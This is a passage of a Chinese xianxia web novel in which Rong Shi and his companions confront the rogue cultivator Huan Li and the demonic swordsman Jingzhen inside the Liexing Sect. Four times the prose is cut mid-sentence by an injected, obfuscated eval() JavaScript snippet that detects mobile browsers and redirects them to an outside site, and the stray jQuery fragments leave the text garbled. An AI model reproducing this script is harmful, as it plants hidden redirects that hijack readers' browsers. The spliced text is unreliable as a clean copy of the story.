同为剑修,兰玦一直记得山门外他那恐怖的剑气,挡在容识身前冷硬道:“你是何人?想做什么?” 这个人在山门外就只盯着容识看,现下也是。他俩认识?看情况像是生死仇敌。 迟迟等不来回答,兰玦便问容识:“他谁?” 容识没说实话:“不知道。” “不知?”镜真从未像今天一般有耐心,但他的耐心也仅限于此,“吾名镜真。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373079|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我,要带走你。” 也许对方是真的忘了他,但一切都不重要,他不在乎,也懒得解释更多。 镜真?四十九年前入魔的修真界第一剑修? 兰玦心下掀起惊涛骇浪,面上仍不动声色,“久闻仙尊大名。可若想带走一个人,得问他自己的意愿才是。” 容识看着她持剑而立的背影,明明握剑的手都紧绷得快要抽筋了,还是一步都没有退。 兰玦不是灼夜那样不知世事的人,作为剑修,她肯定不止一次地听过镜真的大名,她也该知道,入了魔的镜真,真的会随手杀人的。 算起来,他们都是借药之人,他被镜真带走或死在幻境,对兰玦来说,百利而无一害。 可她还是挡在了他面前。 容识知道青音主动提出结伴而行目的不纯,但如果能帮到真正需要醉春风的人,他不在意被利用,也不会期望别人能回报什么。 兰玦看着冷淡,平时一句话都不会多说,倒是和灼夜云明他们一样,少年心性,无所畏惧。 强风从四面八方吹来,容识抬袖挡风,雾气彻底消失后,几个声音同时响起。 “容识!” “容识?” “姐姐!” 灼夜、云明和青音奔向容识与兰玦身侧。 看到不远处的镜真后,灼夜脸上扬起的笑容压下去几分,小声问:“他到底是谁啊?” 兰玦没有一刻放松过:“镜真。” “啊?”灼夜懵了,云明的猜测是真的?师赢、萧随和镜真的心上人是同一个?而容识是因为和那人长得太像,才被这群疯子缠上? “什么?!”云明一时没控制住自己的声量,听说是一回事,真正见到曾经的修真界第一战力又是一回事。 他想起在山门外那一剑,不由得心有余悸,要是他哪怕慢了一息的时间,现下恐怕就灰飞烟灭,一点点骨灰都没了! 他拿出一个很小的瓷瓶塞到容识手里,低声说:“这是我最后最后剩的一点荧惑了,本来是用来保命的,现在交给你了……” 容识那么聪明,应该能带他们在镜真手底下逃出生天的吧?如果他都没办法,这药自己留着也没什么用了。 “镜……姐姐,我们会不会在做梦啊……”青音声音有点抖。 兰玦罕见地柔声道:“别怕,幻境里有境界压制。” 容识盯着镜真手中之剑,“仙尊,我与你素不相识,何苦如此咄咄相逼。” 灼夜看镜真实在不顺眼,呛声道:“刚才你明明看见了那块石头,也知道再不停下他就会撞上去,还是要咄咄相逼,你一点都不在乎他会不会受伤!你说你们认识,那你就是这样对待以前认识的人么?!” 够了,真吵。 镜真飞身而起,直指灼夜! 容识一直盯着他手中剑,不就是怕他暴起,杀掉所有人么? 他一直没动手,不过是想看看如今到底什么样的人才有资格留在容识身边。 只是群聒噪之人,凭什么值得他忧心?杀了便是。 灼夜的气性被他激起来,腾空迎上那一剑,掌心与剑尖对上的一刹那,四周爆发猛烈的飓风,他直直倒飞出去,砸起一片灰尘! “灼……” 半空的镜真背对冷淡的日光,再次挥剑! 这次是朝向兰玦和青音。 他是想杀了所有人! “退后!”容识拼命聚起灵力刻阵,防御阵落在两人身前,却被剑气一击而破! 反噬之力如同剑气迎面击来,他眼前一黑,吐出的淋漓鲜血淌到衣襟,好像有人抱住了他,两人在地上滚了几圈,才稳住身形。 灼夜的声音响在耳侧:“容识!” 容识睁开眼,看到灰头土脸的灼夜,旁边兰玦和青音亦倒在地上,一时起不来身。 “下手这么狠他是人么!”云明眼见几人都被打飞出去,拼了命才这么快就跑到容识和灼夜身后。 开什么玩笑,灼夜实力比他强那么多都被打得半死不活,而兰玦和青音要不是有容识那个阵法挡了一下,只怕要当场毙命,他不跑还站着等镜真来杀么?还好他跑路的本事不差。 可不远处镜真再次举剑,他动作很慢,似乎想让容识眼睁睁看着身边的人死去而无能为力。 容识下颌绷紧,指尖灵力将兰玦脱手的长剑引来,他起身挡在所有人身前,长剑一横,架在了自己颈间。 他说:“住手。” 灼夜失声道:“容识不要!” 肺腑的疼痛让容识更加清醒。 他已经……没有别的办法了。 14. 内斗 浅淡的粉绿色衣衫在剑气造成的风浪中摇曳,像即将折断坠入水底的莲花。 镜真看着众人中孤独站立的那人,他衣衫染了大片的鲜血,长剑横于颈间,唇角血痕蜿蜒,一双眼里没有憎恨,也没有愤怒。 容识……原来他现在,叫容识了么?他们究竟为何会走到今天这一步? 镜真想起一些很久远的事。当年义军四起,他所在的灵溪剑宗与南海明氏结为诛恶盟,共同抵御仙盟大军。太微历一万五千七百三十年,他刚刚出关,二月山谷的风依旧凛冽,住处的窗前躺了一封密信。 身为长老,他收到的密信不少,各方势力或是拉拢、或是威胁,他已经看得厌烦。 他破解了信上封印,看到了其中内容,那是仙盟大军下一步的行动计划。这种或真或假的信此前也有过,他并未在意,随手丢弃窗前,任其飘落于山谷之中。 那是容识寄给他的第一封信。 之后每隔一段时间,带着同样字迹与落款的信都会出现在他的窗前,每一次信中所说的消息都精准无疑。 一年后,他相信了此人,双方于三川会面。 三川的郊外,大片大片的玉兰在深蓝的天穹下白得如画如诗。 有一人自玉兰树林深处而来,以玉兰树枝为簪,戴着一面镶金嵌玉的凤凰面具。 那是他和容识见的第一面。 “哈……我用了四十九年才找到你啊。”镜真笑了几声,“你觉得,你能快过我的剑么。” 容识方才是装的,他果然还记得他。 以他的速度,想在容识自刎前打掉他手中之剑,易如反掌。 四十九年前,他已失去过容识一次,不会再有第二次。 “求死之法,我会的还有很多。”容识气血翻涌,忍着全身的疼痛直视镜真:“你拦不住我。” 镜真能拦住他一次两次,拦不住他一辈子。 他心绪万千,思索着镜真方才的话。 “找到”,镜真也和萧随一样一直在找他?他们为何同样笃定他没有死? 萧随找他是用到处抓人的方式,镜真呢?那两次神魂上的撕裂感,是因为镜真在找他产生的么? 僵持之下,天穹忽然传来一阵拍手声,一个男人的声音传遍整个幻境:“有趣,实在有趣。” 紧接着天塌地陷,眼前一片黑暗,眩晕过后,强大的威压从肩头落下,容识跪倒在地,双手撑着冰冷的地面。 “容识……你没事吧!” 灼夜的声音像是从肺腑里挤出来,容识侧头,看见他和云明、兰玦、青音,几人都和自己一样跪坐在地,连站起来的力气都没有。 好强的镇灵法阵……这种强度,至少是化神阵了。寻常筑基修士被困于此,不消半盏茶的功夫,便会一命呜呼。 容识抬头,看见宗门大殿之上端坐着一位青年修士,却不是列星宗宗主。他座下的台阶上,三名黑衣修士围着一位身穿深蓝色宗主服饰的中年修士。 那是……列星宗宗主柏仁。他低垂着头,脸色惨白、气息微弱,似乎受了很重的内伤,已经接近昏迷。 除此之外,数十个修士围住了整个大殿,显然一切尽在青年修士掌握之中,而他身上穿的,是绣满星辰的列星宗弟子服。 列星宗起了内斗?宗主实力不弱,怎么会败给自己的弟子? 难怪还没到开山门的日子,他们几人便能入阵,怕是因为双方争斗,无暇顾及山门的阵法,才出了纰漏。 容识低下了头,萧随和镜真都是第一眼就认出了他,不知道宗主会不会也认出他来。 他身份敏感又命不久矣,不想再与旧人旧事有牵扯。 青年修士幽幽开口:“宗主暗中提前开了山门,是想着能让借药之人发现宗内异状,来帮你一把吧。可惜一群金丹加上一个筑基,怕是成不了什么大气候,帮不到你了。” 他的声音……是幻境中那个说有趣的男人。 原来是宗主提前打开的山门,宗内到底发生了什么? “我手上还有世间最后一株醉春风,正愁怎么处置呢,你们就来了。既是借药而来,也不好叫你们空手而归,这样吧。”青年修士附身,居高临下道:“我燃上三炷香,最后活下来的人,我会把醉春风送给他,让他安然离开列星宗,怎么样。” 他似乎认定几人会为了醉春风而互相厮杀。 “你做梦!”灼夜强撑着站起身,死死盯住青年修士。 “你当我们蠢么。”兰玦冷笑,“就算赢了,里外都是你的人,你翻脸也是一句话的事。” “就是!你个变态,只是想拿我们当猴耍,想看戏而已!”云明气得发抖,一连遇上三个变态,他今年是不是流年不利? “倒是挺有骨气的。”青年修士叹了口气,“可你们除了听我的,也没有别的生路了,为什么不赌一赌?” 容识一边思索解阵之法,一边想,平蔚各处井的水被人动了手脚,有解药的列星宗却陷入内斗,这两件事是否有关? “平蔚各处水源都被做了手脚。”容识沉声道:“城内三万百姓的性命,你都下得了手,更何况是我们。” “是他?!”灼夜失声道。 把火流疫毒源下在平蔚井水里的,竟然是他?! 给几万人下毒,还想让他们自相残杀……几人看着青年修士的眼神更加憎恶。 那人颇为意外,起身走下台阶,“这你都猜得出来?没错,我和宗主说,我在平蔚的水里掺了点东西,如果他不把醉春风给我,我就先从列星宗的弟子杀起,直到他答应给我为止,算算时间,等我把宗内弟子杀光,城内的百姓也该毒发了,到时候,所有人都陪着宗主下黄泉,多热闹啊。还好宗主仁慈,我只杀了几个弟子,他就把醉春风给我了。” 还真的是他。 容识本想试探一下,没想到这人竟这么痛快地承认了。 那些围杀借药之人的死士,恐怕也是这人的手笔。 青年修士站在几人两丈远的地方,问:“能断定水有问题,你是药王山的?不对,药王山不会有快死的病秧子。你到底是什么人?” 他想杀了容识! 脑袋里冒出这个念头以后,灼夜惊出一身冷汗,不顾浑身剧痛,体内灵力疯狂涌动。 “一介散修罢了。”容识垂眸。 情况不妙,整座大殿都在镇灵法阵范围内。青年修士和他的下属能行走如常,身上定是带着专属的镇灵玉牌,能消解法阵的作用。 “很久没遇到过这么有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373080|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趣的人了,还有点舍不得杀你。”青年修士笑笑,“那你要不再猜猜我是什么人?毕竟就算到了现在,整个列星宗皆在我掌中,我都没告诉宗主这个秘密。” 沉默须臾,容识道:“你是……旧仙盟人。” 手上有火流疫毒源的,恐怕也只有旧仙盟人了。 青年修士脸上的笑意瞬间消失,死寂片刻,一串堪称癫狂的笑声响彻大殿。他笑得满面扭曲,杀意越来越重,灼夜身上的冷汗却更多了。 疯子、疯子,全是疯子! 云明连震惊都没了,先是萧随、镜真,又遇到五大宗门之一的列星宗内斗,还有旧仙盟人作祟…… 兰玦与青音对视一眼,看到彼此眼中的不可置信。 “真让人惊喜啊。”青年修士止了笑声,面无表情道,“你猜得真准。” “我叫桓礼,当年列星宗一分为二,我跟随支持仙盟的那支出走,后来仙盟被灭,我被押去受审,被废去修为生不如死,不过还好,我逃跑时落下山崖,大难不死。我想要醉春风恢复修为,就改头换面重入列星宗当了个外门洒扫弟子,直到今日,我终于夙愿得偿。” 他说着走近容识,然后伸出手用灵力攥住了容识的衣领,将人提到身前。 容识对上桓礼满含杀意的眼。以前,这样的眼神他看过很多。 桓礼……和他曾经的战友桓秋,同一个字辈。 “不准伤他!” 灼夜飞身上前,炽热的掌风瞬息扑向桓礼,却见那人一挥手,灵力强光反噬自身,似有万钧之力打在胸膛,他一声闷哼,倒飞出去,撞上坚硬的石柱坠落于地,喉咙一痒便吐出大滩的血来。 好痛,站不起来了…… 他抬起头,模模糊糊地看到容识指尖光芒一闪,桓礼脚下泛起了白光。 那是容识的阵法?! 然而困阵成型那一瞬,巨大的爆炸声震得人耳鸣片刻,大殿上空忽然劈出一道裂缝,磅礴的剑气直冲桓礼和容识! 桓礼猛地推开容识,剑气在二人中间穿过,生生将整座大殿一分为二! 容识被剑气余波震出几丈远,后背“砰”地撞上石柱,摔在地面,脑后用来束发的树枝四分五裂,长发披散在了肩头。 这一下肺腑震荡,他捂住心口,险些又是一口血吐出来。 勉强能喘口气时,大殿还在摇晃,容识抬头,看见云明、兰玦和青音也被震飞出去很远。 而大殿殿顶,外面的日光从那道裂缝中倾洒下来,照出一隙微光。 一个白色身影从光影中来,正是镜真! 他竟然能在境界遭到压制的情况下,凭空撕裂大乘阵? 容识闭上了眼。 他知道他说的越多,桓礼就越想杀他,才会冒险说出对方是旧仙盟人的事。 方才他已经提前设下困阵,引桓礼到阵里挟持了他,想解决眼前的困境,轻而易举。 谁知镜真这突然的一剑,把他刚成型的困阵劈没了! 计划被破坏,容识有些难以呼吸了。 桓礼狼狈地撞在了台阶上,他望着镜真,那种游刃有余的掌控感弱了几分,“镜真仙尊,久仰大名啊。” 镜真未发一言,视线扫过整个大殿,最终落在了容识身上。 15. 绝境 列星宗内斗,醉春风仅剩一株,身上是镇灵法阵的千钧重压,眼前是死也要带走他尸体的镜真,而山下是不知死亡将至的三万百姓。 容识忍着肺腑的剧痛,咬了咬舌尖逼迫自己清醒。 是错觉么?镜真劈开大殿后,镇灵法阵的效用好像减轻了? 对策尚未思索周全,颈间忽然一痛,有人从后面用手死死掐住了他的脖子! 容识险些窒息,咳嗽被掐灭在咽喉,下意识抓住正掐着自己的胳膊。 “容……咳咳……”灼夜扶着石柱站起来,可刚喊了一个字,就止不住地咳嗽,他捂住了口鼻,容识却看到他指缝里溢出来的鲜血。 灼夜受的内伤只怕比他还要重…… 远处,桓礼打理了一下凌乱的衣角,重新变得气定神闲:“镜真仙尊之力可平山海,今日总算有缘一见。不过您对这个散修,似乎格外上心。” 桓礼的话,镜真充耳不闻,直直向容识走来。 威胁不成,桓礼立刻转换说辞:“镜真仙尊!素闻您不愿再插手凡尘中事,您若想得到此人,在下可双手奉上,惟愿仙尊心愿得偿,只是……” “轰——” 镜真侧身出剑,台阶粉碎成灰,紧接着浩荡剑气直冲容识! 他是想杀了挟持者! 容识瞬间明白了镜真的意图,只要杀了挟持者就可以带自己走,至于自己是重伤还是濒死,那不在镜真考虑范围内! 剑气迎面,容识余光里一袭青绿色一闪,转瞬便挡在了身前! 是灼夜! 他掌中借力阵法恰好成型,立时拽着挟持者的胳膊瞄准了桓礼一扔! 下一刻灼夜掌心对上剑气,风浪袭来,容识抬手抵住他的后背,灵力灌入他的灵脉,“别硬碰硬,打偏它!” “好!”灼夜的灵力包裹住那股剑气,猛地甩向桓礼的方向! 桓礼几个呼吸之间连躲两道剑气攻击和一个活人,脸色煞白,毒蛇盯着猎物一般盯着镜真。 灼夜转过身就见容识卸了力气,站不住地往下倒,“容识!” 他赶忙扶着对方的腰身,让容识靠在自己身上。 心脏越跳越快,容识靠着灼夜勉强站着,捂住心口。 现下还不是可以放松的时候。 他心道不妙,桓礼这么能躲,怪不得身为旧仙盟人还能活到现在,他的眼神……他是发现镜真境界不稳了么? 虽然镜真是个变数,但在当下桓礼一手遮天时,正好可以掣肘他,没了镜真,他们可就危险了。 镜真看着容识和灼夜,他们肩并着肩,两人都身受重伤,该是站都站不起来的,却互相扶持着站立,就像…… 他重见容识后总是恍惚,想起从前的事。 就像以前他和容识一样。 那时他的修为是修真界前三,整整八年的战事,他都没有受过很重的伤,他们虽没有像这样,狼狈到只能互相搀扶才能站着,可也曾彻夜长谈,说起明天、说起未来。 他不明白很多事。遇到容识以前,不明白为什么所有人将飞升的希望寄予他一个人,仿佛他只是为灵溪剑宗的荣誉而生的工具。遇到容识以后,他不明白他们为何会一步步走到今天。 但是……只要带容识走,他可以用一百年、一千年的时间去寻找答案。 镜真再次举剑,剑气奔流如雪崩,直指灼夜! “容识闪开!” 云明话音刚落,掌心、长剑和白绫同时对上那股剑气! 地上的碎石尘土飞扬漫天,云明闪身到灼夜、兰玦青音三人身后,温和的灵力支撑着几人不堪重负的灵脉。 镜真却突然收剑,几人的灵力落空,打在殿内坚硬无比的石柱上,轰然作响。 灼夜紧张地环视大殿,登时心脏一跳,镜真人呢?桓礼怎么也不见了? 他霎时转身,桓礼竟挟持了容识,从后方掐住他的咽喉。 一个白色的残影掠过,桓礼陡然放手,五张灵符从袖中飞出,冲向镜真贴在了他身上,他“噗”地吐出口血,但动作未停,拽着容识径直御剑离去! “容识!”灼夜立时跟了上去,前方镜真和容识的身影越来越远,后方是桓礼嚣张的笑声:“镜真仙尊,裂魂符的效果如何?哈哈哈哈……” 兰玦刚要御剑追去,殿内各处的黑衣修士便围了上来,刚松动半刻的重压再次袭来,将几人压倒在地。 云明简直快要吐血,看着黑衣修士把刀剑横在他们的脖子上,又抬头看远在天边的容识和灼夜,绝望道:“我命休矣。” 桓礼的动作是不是太快了点?每次都能恰巧钻到漏洞! 裂魂符是仙盟刑罚之一,别说五张了,就是一张贴在人身上,神魂也如被撕裂一般,堪称修真界的五马分尸之刑,镜真肯定重伤了。 桓礼有这种能力干点什么不好,自己开宗立派也能扬名立万吧?! 百丈高空,容识呛了一口冷气,止不住地咳嗽,镜真掐着他的手腕,力道大得腕骨几乎要当场折断了。 “放开我!” 镜真眼里盛满冰雪:“那些不过是无关紧要之人。” 容识捂住心口,“拿不到醉春风,他们和山下三万人都会死!” “那不重要。”镜真身上贴了裂魂符,却分外冷静。 “到底什么才重要?无数人的性命在你眼里只是草芥罢了!”容识抽痛的胸腔不停起伏,“不重要、不重要,这些话我已经听够了!” 镜真愣住须臾,他从没见过容识这般激动。 为了那些普通得不能再普通的芸芸众生,值得么? 容识一掌劈向镜真心脏,对方下意识出手,两人掌心相撞。庞大的灵力灌入躯体,容识闷哼一声,借力从百丈高空一跃而下! 镜真满目不可置信,下坠的容识唇角溢出新的鲜血,道道血痕重叠在了一起。 他是故意向他出手好借力逃脱,他竟这般决绝? 猎猎冷风将容识长发吹动,无尽的下坠中,一个声音响彻天际:“容识!” 青绿色身影越来越近,容识看到灼夜带着明亮神采的眼睛,其中似有凤凰展翼,灼灼风流,意气风发。 他落到灼夜展开的双臂中,风声呜咽,只有对方关切的声音回响:“你没事吧?” 时间仿佛静止,容识张口,却只吐出一滩鲜血,将两人本就沾上鲜血的衣衫染得更红。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373081|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容识!” 吐血这种事,容识早就司空见惯,可灼夜每次都很慌张,好像受伤的是他自己。 但现在不是担忧他身体的时候。 上方是追来的镜真,下面是飞身而起的桓礼下属,两面夹击,不容放松。 “先别靠近我!”容识抵住灼夜的胸膛用力一推,两人分离的瞬息,桓礼下属的剑正从他们中间穿过,与近在咫尺的镜真恰好对上! 镜真轻轻挥剑,下属的身体当即被斩成两截,喷洒出的鲜血一时遮蔽了日光。 容识急速下落,落在大殿时,无数灵符组成的巨网顷刻间压下,贴满他的全身,他步伐一晃,单膝跪地,鲜血又一次落满前襟。 接着又有三张灵符从天而降,把紧追而来的镜真压得以剑撑地,吐出大滩鲜血,那张没变过表情的脸有瞬间的扭曲。 灼夜落下时,还未向容识那边迈出半步,灵符鬼魅般掠过,贴在他全身,他险些单膝跪地,拼尽全力才把喉间的腥味压下去。 大殿内回荡着桓礼明知故问的戏谑:“镜真仙尊,现在你身上的是罚罪符,这可是我好不容易搞到的,滋味如何?” 至此,整个列星宗重回他掌握之中。 容识看见他眼底因凌驾他人而生的快慰。 灼夜心急如焚,身上的符咒压得他动一下都难,所有人都被桓礼控制住,该怎么办? 如果他的实力比肩元婴、甚至大乘,是不是就不会再发生这种事情? “再”? 灼夜脑中空白了一下,为什么会是“再”? 云明心中只有一个念头:完蛋了。 容识和灼夜这两个脑子和拳头第一好的都被压制得死死的,他不会真的要死在这里了吧? 连战力第一的镜真,都让桓礼又是贴裂魂符,又是贴罚罪符,吃了这么大的亏…… 如果说裂魂符是独属于修真界的五马分尸,那罚罪符就是三千刀刀刀致命的凌迟,坚持十息不痛到当场自杀就算当世英豪了! 容识闭上眼,灵脉中空空如也,一丁点灵力都用不出来,灼夜他们应该也已经到极限了。 桓礼……一眼看出镜真最在意的只有他,便马上让人挟持他,看出镜真境界不稳、准备声东击西掳走他,能霎那间到他身边,还料定了他宁愿被俘也不愿跟镜真走,也知道镜真拼着受重伤也要带走他的脾性,便趁机在镜真身上贴满了裂魂符,使其重伤,等人追下来,又贴了更厉害的罚罪符。 旧仙盟里还有这号厉害人物? 还好他身上只是限制行动的普通灵符,桓礼若是给他贴上一张罚罪符,他只怕真的要交代在这里了。 桓礼穿过满目疮痍的大殿,坐回台阶之上那最高的位置,“宗主,这次开山门进来的人,都不行啊,怪无趣的。还想让他们陪我下棋玩玩来着,不过看样子,这群人里怕是没有擅长下棋的。” 他挥挥手,“都杀了吧。” “等等!” 容识的声音比刀剑割破血肉更快。 桓礼支起身体,“你擅长下棋?” “略通棋艺罢了。”容识颓然跪坐,“但现在,有比下棋更重要的事。” “什么事?” 16. 信任 容识定定地看着桓礼:“你想做列星宗宗主么?” 云明瞪大了眼睛,不是,你个浓眉大眼的,怎么给他出谋划策了? 灼夜皱着眉,容识一向很有主意,但大多时候他做的事情都让人看不透。 他真的想给桓礼做事?应该不会吧。 桓礼嗤笑:“我现在,不已经是了么?” 是啊,掌控了整个列星宗,他说他是宗主,满山谁敢说一个不字? 容识垂眸:“列星宗身为五大宗门之一,宗主换人,仙盟定然会派人前来。只有他们点了头,你才是名正言顺的宗主。” “你看上去可不是会投靠我的人。”桓礼身子前倾,“你的条件呢?” 容识的目光扫过灼夜、云明、兰玦和青音,“放了他们。” 桓礼看戏似的问:“你说的‘他们’里,镜真仙尊在么?” 此时镜真终于缓过来一些,他只看着容识:“你宁愿与虎谋皮,宁愿……相信他?” 桓礼的承诺根本不可能作数。 容识和以前一样倔强,但以前的他,不会这么蠢。 以前……容识因计策失误被盟中降罪,也受过罚罪符这种刑罚。 原来那时,他有这么痛么? “哈……”容识冷笑。他看着镜真,高高在上的仙尊一朝入魔,沦落至此,对方额上尽是冷汗,白衣染血,狼狈不堪。 他咳嗽几下,抬手抹去唇边的血,随手擦在衣角,“这不是没有办法了么。” 他说:“当年,我最信任你,可结果呢。” 尸横遍野,炽火焚天。 灼夜看不清容识的脸,只看到他垂在脸侧的长发之下,血红的眼尾。 “当年”?“我最信任你”?容识和镜真以前真的认识?那萧随呢,他们也都认识么?他们几个是什么关系? 灼夜努力思考。 容识平常会这样说话么?他心事藏得深,不像是会把这种话说出来的人…… 镜真只觉心脏遭受一记重锤。 ……什么? 他看着容识的眼睛,那里面好似有甘邑那场焚烧无数人尸体的火焰。 云明瞪着眼在容识和镜真身上来回地转,搁这儿演话本呢? 容识和镜真他俩真认识? 年龄对不上啊,无论是看脉象还是神魂,容识都不到二十岁,听他的话,他和镜真相识远在镜真入魔前了,四十九年前他还没出生呢,他们怎么可能认识? 难道自己的医术退步得连年龄也看不准了?莫非容识是什么活了几千年的前辈大能,刻意隐藏了真实年龄? 兰玦看向身侧的青音。这都什么跟这么?这就是你说的心软?感觉可以把我们都卖了还让我们替他数钱。 青音一双眼泛着水光。姐姐,你不相信容识,也得相信我的眼光吧? “哟,旧相识啊。我还以为镜真仙尊当真入魔发疯,连自己心爱之人都认不清了呢。”桓礼打量着容识,“如今的仙盟里没你这号人,你是灵溪剑宗的?不对,你该是清源盟的,只是四十九年前,没有加入新仙盟。” “让我猜猜……你到底是谁?” 桓礼走到容识面前,“最近修真界有几个传闻,说师赢、萧随和镜真都为爱发疯,传得跟话本一样,还以为有什么人在故意造谣,现在看来竟然是真的。能让三个身处高位之人心心念念、陷入癫狂,你这么有本事,死了岂不是可惜,拿来要挟他们多好。” “当时有谁和这三人关系紧密呢?”桓礼盯着容识,“嘶……你这脸……” 容识心脏一跳,桓礼猜出他的身份了? 桓礼思索一番从袖中取出一张符,附身贴在容识心口,须臾又将灵符拿走。 桓礼看了眼变为鹅黄色的灵符,轻飘飘扔在地上,“变黄为男,变白为女,货真价实的男的啊。你要是扮上女装真不一定能看出来是个男的。” 容识心中紧绷的弦松了松。这人未免太谨慎了些,怀疑他之前在清源盟有可能是女扮男装或是男扮女装,才要用灵符来测一测。 桓礼自言自语:“还是不能太过草率,万一你当时真的男扮女装了呢。” 容识都有些佩服桓礼了,他当时如果能想到男扮女装这一招就好了。 “不然还是你自己说吧。”桓礼蹲下身,和容识对视。 “你不怕我随便说一个身份么。”容识幽幽道。 “你的确可以,但倘若我有验谎符呢。”桓礼笑了笑,无端渗人,袖中灵符飞到他手上,“这种验谎符没有附带什么刑罚,不会让你感到痛苦或是死了,不过……” 他看了下不堪痛苦闭眼调息的镜真,一字一句道:“你要是撒谎,我就……把你的衣服一件一件地扒下来,直到你说实话为止。” “你无耻!”灼夜的怒喝刚落下,灵符便贴到了他嘴上,“唔唔唔!唔唔!” 容识看了眼灼夜,掌心贴地,下颌紧绷,与桓礼对视。 他做的每一件事都有目的,扒人衣服并不是有什么特殊的爱好,是想刺激镜真,好让镜真气血翻涌,虚弱得更厉害,从而更无力应对身上的罚罪符。 羞辱不是他最终的目的,只是达到目的的手段。 “和他们三个人都有关系,难道你是望仙七算之一?”桓礼自顾自地猜测,“芷鸢被飒沓流星击中,肯定是死得不能再死,那就只有隐山和明彧了,他们两个的死倒是都颇为蹊跷,说不定压根就没死。隐山嘛,善极、恶极,不择手段,功罪难以评说,完全看不透。有传言说,是他联合萧随杀了明彧。你不像他。” 借助工具,就算威逼利诱让容识开口也是没趣,桓礼还是更喜欢自己猜,他收回了灵符,“聪明、有情有义、精通阵法,没人亲眼看见他真的死了。你是……南海明氏长公子,明彧。” 云明脱口而出:“什么?” 容识是明彧?! 桓礼那口气根本不是在问容识,而是非常确定他就是明彧了。 而容识……容识怎么不说话,刚才不是挺能言善辩的么?他真的是明彧? 桓礼见容识垂下了眼,似乎心虚,笑道:“在我这里,装哑巴是没用的。” 他挥挥手叫来下属:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373082|168209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把他的衣服扒了。” 下属们黑压压地围上来,容识低下头,只看到无数双脚,有人伸手在扯他的衣领。 灼夜双眼发红,咬牙霎时攥住横在颈间的长剑,手掌血流如注,他夺剑反手刺入挟持者的胸膛,向桓礼全力挥出一剑! 容识是谁都好他不在乎,他不允许任何人伤害他! “轰——” 两道剑气同时挥出,桓礼抬脚想跑,只听一声脆响,似乎有什么粉末洒在身上,两条腿当即不听使唤,整个人摔倒在地,他诧异地看着身下地面,是白色的阵纹,是容识! 此时剑气轰然对撞! 围在容识身侧的下属全数飞了出去,内腑破裂而死。 “噗——”桓礼虽不在对撞中心,但距离太近,被余波冲击,直接吐了血。 灼夜被震得倒退好几步,虎口裂了口子,鲜血直流。他看向镜真,和他几乎同时出剑的是他? 耳边“噗呲”声响起,他侧过头看见兰玦手起剑落,挟持她和云明、青音的人已经倒在地上。 那边的镜真强撑着出剑已到极限,连以剑撑地勉强站着都吃力,吐了口血后跌坐在地。 烟尘过后,容识捂嘴咳嗽了几声,明明身处两道剑气的中心,他除了长发乱了点以外,毫发无损。 “容识!”灼夜撕了嘴上的灵符丢了剑奔向他,云明也跟着过去。 兰玦和青音立即跑到桓礼身侧,一人的长剑横在他脖子上,一人的白绫缠着他全身。 冰冷的目光扫视过大殿,兰玦道:“放下兵器,不然我杀了他。” 下属们群龙无首,只好照做。 只几个呼吸的时间,大殿内胜败反转。 “容识,你怎么样?”灼夜跑到容识身边扶他。 容识顺势靠在灼夜身上,云明也凑过来把他的脉,眉头皱得比被挟持那会儿还紧。 他望着桓礼,看见对方怨毒的眼睛。 桓礼不住地咳嗽:“你……你在我面前表露得这么聪明,不是想和我做交易放他们走,你对镜真说那些似是而非的话,是……你是想让我对你好奇,进而猜测你的身份,然后让我觉得,他对你情根深种,你对他未必无情。” 他一口气说了这么多,气力不济,歇了会儿又道:“你猜到我喜欢看强者败于我手中的样子,你知道我因此会为了让镜真气血紊乱羞辱你。你更知道,镜真对你占有欲太强,他就算死也不会让旁人动你,你都……你都算好了……” 容识没有回应。 计划成功了,不枉他以自身为饵。 方才把云明给的最后一点荧惑撒在桓礼身上,又设下困阵拖住了他,才没让这个滑不留手的泥鳅逃走。 在此之前,他在身侧周围设了防御阵法,好险在剑气中逃过一劫。 灵脉像是被夏日灼热的太阳烤干,动一下都浑身疼。 镜真这才知晓自己也在容识算计之中,他们两败俱伤,他和身边那群人便能安全。 